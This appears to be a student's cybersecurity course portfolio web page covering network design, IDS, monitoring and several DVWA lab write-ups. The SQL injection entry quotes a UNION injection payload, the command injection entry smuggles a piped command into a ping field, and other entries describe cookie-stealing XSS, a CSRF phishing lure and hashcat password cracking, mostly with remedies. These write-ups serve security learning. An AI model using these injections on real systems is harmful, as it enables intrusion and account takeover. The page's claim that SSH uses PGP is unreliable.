</li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it 